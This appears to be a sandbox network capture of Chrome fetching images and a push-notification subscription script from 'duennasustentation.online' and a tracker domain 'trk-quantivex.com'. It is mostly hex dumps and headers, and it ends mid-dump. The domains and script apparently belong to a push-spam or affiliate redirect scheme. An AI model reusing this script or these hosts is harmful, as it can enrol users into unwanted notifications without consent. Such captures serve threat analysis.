2025-01-08 14:44:41 UTC	1369	IN	Data Raw: 0a 08 50 4e 38 e1 90 83 4e 01 0f e0 fa 57 9e ee 78 fa 40 02 02 a0 83 ce 39 04 30 30 c1 a5 57 ee 6a 65 87 78 8d f0 00 01 d9 58 23 cd b8 ee 4c 73 8d 38 0b 4c 10 aa 41 23 44 90 c0 38 da 88 3b cd bc dd 0c e0 00 05 30 3e 49 90 08 d3 b9 13 e5 a9 b4 e1 35 c1 00 d7 38 d3 4c 33 05 49 53 8e 02 14 4c 69 d0 01 e4 48 d3 0c 33 02 31 c3 8c 33 d8 9c d3 ec b6 08 79 ea ce b5 1b 13 ea 70 82 30 4c 70 80 36 12 1b 74 f1 34 e3 3c a0 a9 40 08 32 e0 cd 33 ce 58 5c 31 33 cd 3c 83 cd 00 c9 76 50 1a a3 ee b8 30 42 ad 0a 1c a0 00 03 c9 8e e0 02 c0 af a9 3a 8e 34 ce 0c 44 71 c5 ee 34 73 4d 02 1e 74 3a f0 34 16 4f 5d d0 33 e1 28 30 01 83 a6 e1 45 81 03 04 0c bb 4d 38 dd a0 93 00 c8 7d 7e a6 17 03 da 30 64 8d 00 03 09 3a 01 03 11 bb ff 63 73 41 17 57 33 40 d0 9b 56 76 80 39 d7 8c fb 8c Data Ascii: PN8NWx@900WjexX#Ls8LA#D8;0>I58L3ISLiH313yp0Lp6t4<@23X\13<vP0B:4Dq4sMt:4O]3(0EM8}~0d:csAW3@Vv9
2025-01-08 14:44:41 UTC	1369	IN	Data Raw: 80 30 e5 e7 b4 9f 79 63 d0 d0 b5 8d 98 e8 aa 55 ae 8d f8 d9 b6 d5 56 79 e6 ff f5 f0 80 00 39 6c 6f ad 6d 33 a7 a0 b1 40 17 0f bc 99 46 7c 1a f1 35 c6 0d 4f 06 57 10 4e 1a 74 e8 a9 9d 33 81 0b 22 20 04 d9 35 d2 3c 53 98 33 ce 3c 33 4d 37 67 59 95 c0 35 f5 d1 56 21 33 d3 08 a8 9c 7e 13 18 b0 cd 33 ff 3d d7 8c 33 df 40 40 20 47 14 10 40 e1 85 d1 75 b3 80 66 79 15 60 4d 88 d0 4d 53 ce 51 79 ed 15 41 01 d8 80 48 e3 6d de 3c 20 83 5d 2e 50 b0 40 37 d2 b0 88 98 35 02 e0 38 82 8c 3f 52 26 cd 8d ca e9 55 e4 01 1f 46 d9 a0 38 42 12 39 01 01 3d 46 f9 4c 38 37 e5 95 c0 8c 51 62 88 0e 8e af 31 d0 9f 96 d2 08 30 e0 40 2e c8 00 c1 38 d2 cc 46 a3 77 67 b1 e4 40 37 b6 fd 68 0d 01 30 0e 14 d3 39 d6 04 fa 9f 77 07 cc f9 9e 0c 0f 88 f3 8c 92 94 39 83 0d 01 10 b0 34 81 00 ce Data Ascii: 0ycUVy9lom3@F\|5OWNt3" 5<S3<3M7gY5V!3~3=3@@ G@ufy`MMSQyAHm< ].P@758?R&UF8B9=FL87Qb10@.8Fwg@7h09w94
2025-01-08 14:44:41 UTC	1369	IN	Data Raw: 73 db 3c 57 f3 33 cd 31 36 e6 40 36 ce 18 cd b6 db 04 0d b0 f5 e2 02 59 4c 91 03 2d 84 49 41 da d2 14 5e d0 d2 d6 10 60 a3 0d 30 24 40 51 35 e8 0c b4 b8 ca 0c 7d e3 8e a4 03 4d 50 c0 36 cf 90 3e bb 34 e4 00 1d e3 6c 23 af fe 6a 98 16 0d 78 ce c5 0b 6d 73 c0 d6 31 c2 60 40 f4 0a 49 63 4e 41 5e 39 40 8e 40 3b 23 54 cd 00 05 89 e0 c2 03 e2 3c c3 50 dc b7 2b e0 ef 42 d3 9c 83 ed 0b c3 b2 8f fe 41 d2 08 87 02 da 97 2f 31 89 e0 01 df 90 1f c9 8e d6 0c 6c 18 c0 63 65 31 97 03 be 81 3d 84 10 60 02 9c 23 c8 38 2a a8 90 72 d9 68 02 04 c0 46 f2 94 77 34 67 48 e3 1b 0f 80 c1 ab 06 42 81 03 78 83 68 01 c3 98 34 ae 21 00 07 c0 00 48 5a 19 00 d1 c2 17 8e be cd c8 03 0e 08 5c 33 ff 48 b7 b3 66 3c 23 1c 09 00 9e ef a6 35 b5 70 58 4d 1a d3 c0 06 39 e4 a6 27 83 10 2b 1c 6b Data Ascii: s<W316@6YL-IA^`0$@Q5}MP6>4l#jxms1`@IcNA^9@@;#T<P+BA/1lce1=`#8*rhFw4gHBxh4!HZ\3Hf<#5pXM9'+k
2025-01-08 14:44:41 UTC	1369	IN	Data Raw: a9 90 7d 22 64 f9 c0 02 73 32 30 81 96 54 b9 29 9a 7d 36 70 99 80 00 e4 84 b3 4d 38 e6 14 e0 c0 9d 01 6a e9 4e 99 19 e5 e7 40 01 e6 84 63 2a 39 e7 24 b0 a5 a3 ab 61 f9 c0 00 da 90 ff f9 8c 34 d2 4c 63 8d 38 0a dc 79 10 05 03 2c 54 8d 42 2e 50 a0 80 38 d7 c8 5a eb 34 da 0c b0 e9 8d af 61 39 c1 00 d7 34 d3 8c 41 d2 90 93 eb 46 03 40 60 50 96 0c 90 33 8d 33 cc 30 e3 4e 33 e1 3a 83 cd 00 69 c2 c6 97 01 da 3c 73 d0 b4 d3 8c a3 ed 65 14 1c e0 8e bb 13 e5 b5 e5 03 e7 58 23 ad b8 03 31 d3 8c 33 db 18 a0 ab 6b 36 b8 f0 80 38 d2 00 8a 50 33 d7 18 e0 c1 46 0f c8 a0 ef 04 07 6c a3 10 33 d2 98 63 a7 ba 0c 44 3b 6d 42 d3 08 20 e4 63 1d 45 20 80 35 0e 27 b4 0d 93 3d 8a 66 83 01 d6 48 e4 f1 85 03 81 ba d0 04 fa a2 29 0e be 0a 61 53 c0 03 31 47 36 82 08 05 4c 74 a6 40 48 Data Ascii: }"ds20T)}6pM8jN@c*9$a4Lc8y,TB.P8Z4a94AF@`P330N3:i<seX#13k68P3Fl3cD;mB cE 5'=fH)aS1G6Lt@H
2025-01-08 14:44:41 UTC	1369	IN	Data Raw: 38 0e cc e0 90 64 0e 60 67 28 b0 d7 10 a0 e3 0c 10 9c 33 8d 9f fe 0d a7 8d 02 25 85 14 11 61 09 94 e3 e1 65 cf d8 27 80 ac 15 8d 90 80 a9 86 3a 63 cd 38 a2 da 30 03 5b dd 4c 1b a5 7a b8 3e b0 9b b6 3c 4d c0 40 01 e7 c0 25 8e 00 07 c0 54 5d 42 14 18 d0 cd 6f 63 91 75 cd 38 30 b6 40 90 07 1a 18 80 e0 76 c3 61 e3 20 84 11 8d 04 03 46 0f 74 1c d5 45 03 13 64 91 02 02 74 b3 cd 51 db 94 73 a6 8e 22 4f 70 80 38 60 49 23 b3 35 d9 0c f0 40 07 4d 65 3c d0 0b 20 dd 74 d3 0c 82 52 e4 02 61 0c b0 54 c0 01 74 8d 20 82 60 06 5d 54 b4 00 e6 98 83 0e 01 4b 2d 3a 51 c6 1d 74 60 d2 0c 4f 4d 10 c1 45 56 7b 84 97 c7 14 c0 70 af 48 58 6b 6d d2 8e 67 87 5c d0 55 20 b3 bd b6 c8 6e 3f 04 f4 dc 04 39 a4 15 de 33 d5 06 8d d0 dd 07 05 04 00 21 f9 04 05 03 00 ee 00 2c 3b 00 4f 00 49 Data Ascii: 8d`g(3%ae':c80[Lz><M@%T]Bocu80@va FtEdtQs"Op8`I#5@Me< tRaTt `]TK-:Qt`OMEV{pHXkmg\U n?93!,;OI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.16	49780	104.21.28.45	443	6840	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 14:44:40 UTC	814	OUT	GET /images/4.jpg HTTP/1.1 Host: duennasustentation.online Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://duennasustentation.online/?encoded_value=223GDT1&sub1=e6bdf212e77945a1bdd4f5f45fcae0ae&sub2=&sub3=&sub4=&sub5=23272&source_id=20259&ip=8.46.123.189&domain=www.clicknloader.com Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: SESSIONIDS=MYZkgcw1sq9TWnVclehUW-zwA1MWtnXgWh4Hc
2025-01-08 14:44:41 UTC	1051	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 14:44:41 GMT Content-Type: image/jpeg Content-Length: 37344 Connection: close accept-ranges: bytes Cache-Control: no-cache etag: "677d2945-91e0" expires: Wed, 08 Jan 2025 14:44:40 GMT last-modified: Tue, 07 Jan 2025 13:16:53 GMT permissions-policy: interest-cohort=() strict-transport-security: max-age=31536000; includeSubDomains; preload cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WtxSnh9bmwQ4S43cgX78pTWbkNpFwzw3tAjUP5z9qzKL7q1T5nx6YnaI%2Bsg%2FhemJJR%2BF9dxlp3ewCopoVZ0lXZNhhHl5TGh%2FWavZbNb7kcWp52wuIeyj0EMjo53z7jHxI5Fu3GgSj7UFxzXK"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fecf7887cbe8c1d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1810&min_rtt=1804&rtt_var=688&sent=4&recv=5&lost=0&retrans=0&sent_bytes=2868&recv_bytes=1392&delivery_rate=1575822&cwnd=181&unsent_bytes=0&cid=9b9baa252f9240ac&ts=1050&x=0"
2025-01-08 14:44:41 UTC	318	IN	Data Raw: ff d8 ff e1 14 58 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 0c 01 00 00 03 00 00 00 01 02 80 00 00 01 01 00 03 00 00 00 01 02 82 00 00 01 02 00 03 00 00 00 03 00 00 00 9e 01 06 00 03 00 00 00 01 00 02 00 00 01 12 00 03 00 00 00 01 00 01 00 00 01 15 00 03 00 00 00 01 00 03 00 00 01 1a 00 05 00 00 00 01 00 00 00 a4 01 1b 00 05 00 00 00 01 00 00 00 ac 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 b4 01 32 00 02 00 00 00 14 00 00 00 d3 87 69 00 04 00 00 00 01 00 00 00 e8 00 00 01 20 00 08 00 08 00 08 00 0a fc 80 00 00 27 10 00 0a fc 80 00 00 27 10 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 31 2e 30 20 28 57 69 6e 64 6f 77 73 29 00 32 30 32 33 3a 30 34 3a 31 39 20 31 39 3a 31 38 3a 33 39 00 00 00 04 90 00 00 07 00 00 00 04 30 Data Ascii: XExifMM*(12i ''Adobe Photoshop 21.0 (Windows)2023:04:19 19:18:390
2025-01-08 14:44:41 UTC	1369	IN	Data Raw: 00 00 00 01 00 00 01 6e 01 1b 00 05 00 00 00 01 00 00 01 76 01 28 00 03 00 00 00 01 00 02 00 00 02 01 00 04 00 00 00 01 00 00 01 7e 02 02 00 04 00 00 00 01 00 00 12 d2 00 00 00 00 00 00 00 48 00 00 00 01 00 00 00 48 00 00 00 01 ff d8 ff ed 00 0c 41 64 6f 62 65 5f 43 4d 00 02 ff ee 00 0e 41 64 6f 62 65 00 64 80 00 00 00 01 ff db 00 84 00 0c 08 08 08 09 08 0c 09 09 0c 11 0b 0a 0b 11 15 0f 0c 0c 0f 15 18 13 13 15 13 13 18 11 0c 0c 0c 0c 0c 0c 11 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 01 0d 0b 0b 0d 0e 0d 10 0e 0e 10 14 0e 0e 0e 14 14 0e 0e 0e 0e 14 11 0c 0c 0c 0c 0c 11 11 0c 0c 0c 0c 0c 0c 11 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c ff c0 00 11 08 00 96 00 96 03 01 22 00 Data Ascii: nv(~HHAdobe_CMAdobed"
2025-01-08 14:44:41 UTC	1369	IN	Data Raw: 76 36 d7 68 41 21 47 af 58 c7 54 00 3c f7 0b 07 a6 64 3e b7 96 49 1b f8 85 a5 75 76 5d 59 6b a4 c2 00 d8 51 dd e7 cd b7 d5 74 87 9d 0e 9a aa a2 a7 7d b2 b3 68 dd 5b 66 5b e2 67 77 fd 52 d5 cd c3 d8 d0 e0 35 0a 95 27 d6 ea 2d ac 69 af b4 0f 31 2a 33 a5 db 36 37 66 92 6f 1b 40 89 23 4f 15 a1 55 5e 98 93 f3 59 fd 46 eb fa 7d 6c a7 0a af 57 32 fd 19 a4 80 07 d2 72 c9 bd dd 5a bb 26 de a9 43 2f e7 ec f3 24 79 39 ac dd b5 44 05 eb 6d a2 6b 4a 7a c0 44 28 ba ea 98 37 3d c1 a0 f7 2b 1b a5 66 64 64 de da 2f 70 92 3f 9c 69 90 50 fa d6 13 dd 6b bd 4f 52 ca db 00 0a fb fc 7f 75 38 15 10 ec fe d3 e9 fb da d3 91 58 24 c0 3b 87 3e 05 07 eb 16 29 75 4c b4 c1 64 c1 58 bd 3e aa 5d fa 37 74 37 7a 7f e9 45 81 cf 3f cb f7 6d ff 00 aa 5d 1e 26 3b 6c e9 af c1 dc 5e d0 0f a4 e7 Data Ascii: v6hA!GXT<d>Iuv]YkQt}h[f[gwR5'-i1*367fo@#OU^YF}lW2rZ&C/$y9DmkJzD(7=+fdd/p?iPkORu8X$;>)uLdX>]7t7zE?m]&;l^
2025-01-08 14:44:41 UTC	1369	IN	Data Raw: bc 9a c9 dc c3 fd 66 3e 5a 9b 93 96 e2 37 19 51 f1 63 8e 6a dc 5f 93 eb 2e 76 9a 72 91 a8 b9 9a 72 57 27 d2 fe bc e3 65 d8 da 33 ab 18 cf 30 3d 60 7f 46 4f f2 9a 7d d5 ae af 1e f1 a0 99 04 48 23 51 0a 0e 19 63 f9 c7 d7 a2 fb 12 d8 b9 f7 62 dc cb 48 6f 1c ab 38 d2 da a1 df 4a 75 57 9c c6 bd d2 87 66 2b 48 3b 74 f3 4c ad 78 82 10 38 0d ed 77 7d 65 24 31 8c f9 2d 93 07 ba 4a 1f 73 5f 97 f4 ff 00 ee 57 f0 fe 4f ff d4 af 8f 90 c6 00 66 23 95 a3 47 56 61 f6 87 68 57 30 6c 9e 14 1a f7 b0 98 2a 9c 87 10 22 e9 98 4a 9e 9f 23 2e 25 c3 85 81 d4 6c fb 51 82 60 b4 fb 4f c5 31 be d2 d8 2e 90 aa e5 5a e6 d6 e2 de 78 91 db cd 2e 5f 19 89 14 75 46 49 58 73 ae 73 e9 b9 cc 31 23 47 11 a8 42 b1 ac bc 01 a0 70 e0 f8 a8 d8 35 91 df 94 20 4b 7e 2b 42 98 1d 0e 82 23 2e d6 1d 25 Data Ascii: f>Z7Qcj_.vrrW'e30=`FO}H#QcbHo8JuWf+H;tLx8w}e$1-Js_WOf#GVahW0l*"J#.%lQ`O1.Zx._uFIXss1#GBp5 K~+B#.%
2025-01-08 14:44:41 UTC	1369	IN	Data Raw: bd 02 75 50 1a 3a 4c c4 21 8d b2 bb 45 ac 77 d1 27 e9 83 c3 37 fe f7 fa 35 52 e1 e9 3d b6 b3 e8 bb fd 76 ff 00 65 47 a6 35 df b2 aa b5 8e 87 56 0b a4 ea 65 a4 19 dc 8a f8 dd 6d 0e d0 38 92 c3 ff 00 49 20 a6 e6 36 63 aa b0 7b a1 8f 10 7b e8 a7 76 16 26 48 77 a4 06 36 48 3c 0f e6 dd fd 9f f0 7f d9 54 69 d6 b6 c8 d5 87 6b 87 91 d1 4f 16 e7 1b 7d 27 9f 7b 25 87 cd a7 e8 1f ec a7 10 25 a4 85 a2 9a 9b 32 3d 7f b3 ed 3e b4 ed d9 e6 92 b9 6b e5 f4 65 b4 c5 8d dc c7 9f 11 fc d7 fd fd 25 0f b4 3f 1f c1 56 5f ff d7 e5 9c f8 70 9e 1f a7 cd 16 9b 77 16 b4 f2 1c 34 ff 00 5f ea aa 8f 78 70 2d 27 dc 38 4d 55 db 49 71 d7 51 a0 e6 12 5e de 0e 90 09 31 a9 3a 26 dc d2 34 76 b3 c1 1f 3e c8 6d b0 86 e8 0c 1e f0 a4 e7 48 24 c6 bd dc 21 24 2c e6 00 38 13 fc 93 ac cf 82 0b de e6 Data Ascii: uP:L!Ew'75R=veG5Vem8I 6c{{v&Hw6H<TikO}'{%%2=>ke%?V_pw4_xp-'8MUIqQ^1:&4v>mH$!$,8
2025-01-08 14:44:41 UTC	1369	IN	Data Raw: 00 00 00 00 00 45 6d 6c 44 62 6f 6f 6c 00 00 00 00 00 49 6e 74 72 62 6f 6f 6c 00 00 00 00 00 42 63 6b 67 4f 62 6a 63 00 00 00 01 00 00 00 00 00 00 52 47 42 43 00 00 00 03 00 00 00 00 52 64 20 20 64 6f 75 62 40 6f e0 00 00 00 00 00 00 00 00 00 47 72 6e 20 64 6f 75 62 40 6f e0 00 00 00 00 00 00 00 00 00 42 6c 20 20 64 6f 75 62 40 6f e0 00 00 00 00 00 00 00 00 00 42 72 64 54 55 6e 74 46 23 52 6c 74 00 00 00 00 00 00 00 00 00 00 00 00 42 6c 64 20 55 6e 74 46 23 52 6c 74 00 00 00 00 00 00 00 00 00 00 00 00 52 73 6c 74 55 6e 74 46 23 50 78 6c 40 52 00 00 00 00 00 00 00 00 00 0a 76 65 63 74 6f 72 44 61 74 61 62 6f 6f 6c 01 00 00 00 00 50 67 50 73 65 6e 75 6d 00 00 00 00 50 67 50 73 00 00 00 00 50 67 50 43 00 00 00 00 4c 65 66 74 55 6e 74 46 23 52 6c 74 00 00 00 Data Ascii: EmlDboolIntrboolBckgObjcRGBCRd doub@oGrn doub@oBl doub@oBrdTUntF#RltBld UntF#RltRsltUntF#Pxl@RvectorDataboolPgPsenumPgPsPgPCLeftUntF#Rlt
2025-01-08 14:44:41 UTC	77	IN	Data Raw: 01 00 00 00 00 00 0e 63 65 6c 6c 54 65 78 74 49 73 48 54 4d 4c 62 6f 6f 6c 01 00 00 00 08 63 65 6c 6c 54 65 78 74 54 45 58 54 00 00 00 01 00 00 00 00 00 09 68 6f 72 7a 41 6c 69 67 6e 65 6e 75 6d 00 00 00 0f 45 53 6c 69 63 65 48 6f Data Ascii: cellTextIsHTMLboolcellTextTEXThorzAlignenumESliceHo
2025-01-08 14:44:41 UTC	1369	IN	Data Raw: 72 7a 41 6c 69 67 6e 00 00 00 07 64 65 66 61 75 6c 74 00 00 00 09 76 65 72 74 41 6c 69 67 6e 65 6e 75 6d 00 00 00 0f 45 53 6c 69 63 65 56 65 72 74 41 6c 69 67 6e 00 00 00 07 64 65 66 61 75 6c 74 00 00 00 0b 62 67 43 6f 6c 6f 72 54 79 70 65 65 6e 75 6d 00 00 00 11 45 53 6c 69 63 65 42 47 43 6f 6c 6f 72 54 79 70 65 00 00 00 00 4e 6f 6e 65 00 00 00 09 74 6f 70 4f 75 74 73 65 74 6c 6f 6e 67 00 00 00 00 00 00 00 0a 6c 65 66 74 4f 75 74 73 65 74 6c 6f 6e 67 00 00 00 00 00 00 00 0c 62 6f 74 74 6f 6d 4f 75 74 73 65 74 6c 6f 6e 67 00 00 00 00 00 00 00 0b 72 69 67 68 74 4f 75 74 73 65 74 6c 6f 6e 67 00 00 00 00 00 38 42 49 4d 04 28 00 00 00 00 00 0c 00 00 00 02 3f f0 00 00 00 00 00 00 38 42 49 4d 04 11 00 00 00 00 00 01 01 00 38 42 49 4d 04 14 00 00 00 00 00 04 00 Data Ascii: rzAligndefaultvertAlignenumESliceVertAligndefaultbgColorTypeenumESliceBGColorTypeNonetopOutsetlongleftOutsetlongbottomOutsetlongrightOutsetlong8BIM(?8BIM8BIM
2025-01-08 14:44:41 UTC	1369	IN	Data Raw: 09 5a d8 9f 55 31 da 66 fd 5b 1e d0 b7 a0 16 8d a2 12 dc 78 47 88 f7 47 08 79 6e b7 f5 62 a0 3e d1 86 36 58 d1 a4 71 a7 8a bb f5 27 af 3b a7 87 e3 e4 9f d5 dc f0 1e d3 a9 63 bf 7d ab 74 43 bd ae 00 8f 05 cc 75 fe 9c 30 72 c5 f4 e9 5d e0 8b 5a 3f 34 8f a2 f0 9f 1b 59 30 08 7d 2f 76 e0 08 82 d3 a8 23 82 13 88 0b 2f ea be 41 bb a2 52 1c 4b 9d 4c d6 49 f0 1a b7 f2 ad 42 41 4f a6 15 ce 44 21 8b 0b 8a 83 c1 dd e5 e0 a6 20 24 86 cb 3e 88 44 0a bb 2e 68 1a 94 8e 53 07 74 09 1d d7 36 21 24 01 95 5e d2 67 84 90 b1 dd 4f ff d1 ef 43 de d9 dd e2 b9 ef ac 99 d5 b4 31 8c 3e e2 56 c7 51 ce a2 9a 1e ed c2 63 41 e6 b8 3c d7 df 91 90 6d 33 b6 74 d0 a3 23 41 67 57 a9 e8 79 8d 76 36 d7 68 41 21 47 af 58 c7 54 00 3c f7 0b 07 a6 64 3e b7 96 49 1b f8 85 a5 75 76 5d 59 6b a4 c2 Data Ascii: ZU1f[xGGynb>6Xq';c}tCu0r]Z?4Y0}/v#/ARKLIBAOD! $>D.hSt6!$^gOC1>VQcA<m3t#AgWyv6hA!GXT<d>Iuv]Yk
2025-01-08 14:44:41 UTC	1369	IN	Data Raw: 3c 5b 2d 39 fd 5d 85 d8 38 cf 7b 24 ee f5 0b 6b 20 8f a4 df 4d ff 00 a4 ff 00 39 30 fa ad 9a d6 b9 d9 2f c6 c6 15 92 25 ce 2e d2 27 74 fb 56 e5 c2 a7 60 36 d6 b1 af b0 34 37 d4 02 5e d8 fe 5b 61 cb 9a b3 32 e7 5a 6b 35 49 dd 1e e3 cf f2 8f f2 51 c6 45 d6 ab ce a2 f4 1f 4b 6a e7 f4 eb 76 be da ed df 8d 50 10 e6 b0 b0 bd d3 db 5d de 9b 5a ae e2 1d d5 e3 06 6b 5d 4d 20 7f 69 1f 33 32 b3 8c cc 7b 40 2e b0 ed 70 1c 01 2a 8b 8d f8 f4 e5 be a0 df d5 6a 7d 8d fd d9 68 fd 17 f9 ca 63 1b 22 98 25 2a b7 5b 1b eb 37 49 b7 21 fd 37 d7 f4 72 69 77 a5 16 0d ad 73 87 6a ec fa 2a f8 ad e1 db 8f 0b c6 fd 4b 0b 9c eb 49 36 38 ee 71 3c 92 75 25 5f e9 fd 77 aa e0 59 38 b9 36 31 bc 9a c9 dc c3 fd 66 3e 5a 9b 93 96 e2 37 19 51 f1 63 8e 6a dc 5f 93 eb 2e 76 9a 72 91 a8 b9 9a 72 Data Ascii: <[-9]8{$k M90/%.'tV`647^[a2Zk5IQEKjvP]Zk]M i32{@.pj}hc"%[7I!7riwsj*KI68q<u%_wY861f>Z7Qcj_.vrr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.16	49784	172.67.156.201	443	6840	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 14:44:41 UTC	401	OUT	GET /scripts/push/script/64d5p99gj0?url=duennasustentation.online HTTP/1.1 Host: trk-quantivex.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-08 14:44:41 UTC	1351	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 14:44:41 GMT Content-Type: application/javascript;charset=UTF-8 Transfer-Encoding: chunked Connection: close Expires: 0 Cache-Control: max-age=14400, must-revalidate X-XSS-Protection: 1; mode=block Pragma: no-cache X-Frame-Options: SAMEORIGIN Referrer-Policy: strict-origin-when-cross-origin Content-Security-Policy: default-src 'self'; frame-src 'self' data:; connect-src 'self' https://cdn-media-2020.s3.amazonaws.com; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://storage.googleapis.com; style-src 'self' 'unsafe-inline'; img-src * 'self' https://* blob: data:; font-src 'self' data: Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers X-Content-Type-Options: nosniff Permissions-Policy: camera=(), fullscreen=(self), geolocation=(), gyroscope=(), magnetometer=(), microphone=(), midi=(), payment=(), sync-xhr=() CF-Cache-Status: HIT Age: 565 Last-Modified: Wed, 08 Jan 2025 14:35:16 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NWti%2BatbJYF%2FjAg%2FbQA8foShGFn33mnWlLBl%2F2X4jIgIL5LgOrEfiUWpo9%2BEToShqlDQY6R8zDQwKRdCulMApe9ANgSmne1UMO7kZehxR3v0zLoW%2F0kH21SIn0UqthHjmzTlow%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare
2025-01-08 14:44:41 UTC	275	IN	Data Raw: 43 46 2d 52 41 59 3a 20 38 66 65 63 66 37 38 63 66 66 34 61 35 65 36 63 2d 45 57 52 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 32 34 30 38 26 6d 69 6e 5f 72 74 74 3d 32 34 30 34 26 72 74 74 5f 76 61 72 3d 39 31 30 26 73 65 6e 74 3d 34 26 72 65 63 76 3d 36 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 32 38 34 33 26 72 65 63 76 5f 62 79 74 65 73 3d 39 37 39 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 31 31 39 36 37 32 31 26 63 77 6e 64 3d 32 33 39 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 38 34 30 32 62 36 36 66 61 65 32 65 Data Ascii: CF-RAY: 8fecf78cff4a5e6c-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2408&min_rtt=2404&rtt_var=910&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2843&recv_bytes=979&delivery_rate=1196721&cwnd=239&unsent_bytes=0&cid=8402b66fae2e
2025-01-08 14:44:41 UTC	1369	IN	Data Raw: 31 66 63 63 0d 0a 27 75 73 65 20 73 74 72 69 63 74 27 3b 63 6f 6e 73 74 20 73 6d 50 75 73 68 41 70 70 6c 69 63 61 74 69 6f 6e 53 65 72 76 65 72 50 75 62 6c 69 63 4b 65 79 3d 22 42 4f 70 38 6c 7a 5f 45 63 47 31 41 42 5f 4d 38 69 2d 42 54 34 72 42 75 54 55 38 59 7a 6d 70 4d 30 34 48 72 36 69 31 75 63 73 38 37 38 6f 34 69 50 4c 47 5a 41 39 53 6a 47 32 69 73 68 58 67 75 65 43 65 46 5f 34 44 6b 69 4a 70 4c 34 6f 38 43 6c 6a 37 54 6b 35 4d 3d 22 2c 73 6d 50 75 73 68 53 69 74 65 49 64 3d 22 36 34 64 35 31 39 71 6a 67 6a 22 2c 73 6d 43 6c 69 65 6e 74 49 64 3d 22 36 34 64 35 70 39 39 67 6a 30 22 2c 73 65 72 76 69 63 65 57 6f 72 6b 65 72 3d 22 2f 73 65 72 76 69 63 65 2d 77 6f 72 6b 65 72 2e 6a 73 22 3b 6c 65 74 20 73 6d 50 75 73 68 44 6f 6d 61 69 6e 3d 22 70 75 73 Data Ascii: 1fcc'use strict';const smPushApplicationServerPublicKey="BOp8lz_EcG1AB_M8i-BT4rBuTU8YzmpM04Hr6i1ucs878o4iPLGZA9SjG2ishXgueCeF_4DkiJpL4o8Clj7Tk5M=",smPushSiteId="64d519qjgj",smClientId="64d5p99gj0",serviceWorker="/service-worker.js";let smPushDomain="pus
2025-01-08 14:44:41 UTC	1369	IN	Data Raw: 2e 73 6f 75 72 63 65 4f 6e 65 3d 73 65 74 49 66 4e 75 6c 6c 28 75 74 6d 4f 62 6a 2e 73 6f 75 72 63 65 5f 6f 6e 65 2c 62 2e 73 6f 75 72 63 65 5f 6f 6e 65 29 2c 61 2e 73 6f 75 72 63 65 54 77 6f 3d 73 65 74 49 66 4e 75 6c 6c 28 75 74 6d 4f 62 6a 2e 73 6f 75 72 63 65 5f 74 77 6f 2c 62 2e 73 6f 75 72 63 65 5f 74 77 6f 29 2c 61 2e 73 6f 75 72 63 65 54 68 72 65 65 3d 73 65 74 49 66 4e 75 6c 6c 28 75 74 6d 4f 62 6a 2e 73 6f 75 72 63 65 5f 74 68 72 65 65 2c 62 2e 73 6f 75 72 63 65 5f 74 68 72 65 65 29 2c 61 2e 73 6f 75 72 63 65 46 6f 75 72 3d 73 65 74 49 66 4e 75 6c 6c 28 75 74 6d 4f 62 6a 2e 73 6f 75 72 63 65 5f 66 6f 75 72 2c 62 2e 73 6f 75 72 63 65 5f 66 6f 75 72 29 2c 61 2e 73 6f 75 72 63 65 46 69 76 65 3d 73 65 74 49 66 4e 75 6c 6c 28 75 74 6d 4f 62 6a 2e 73 Data Ascii: 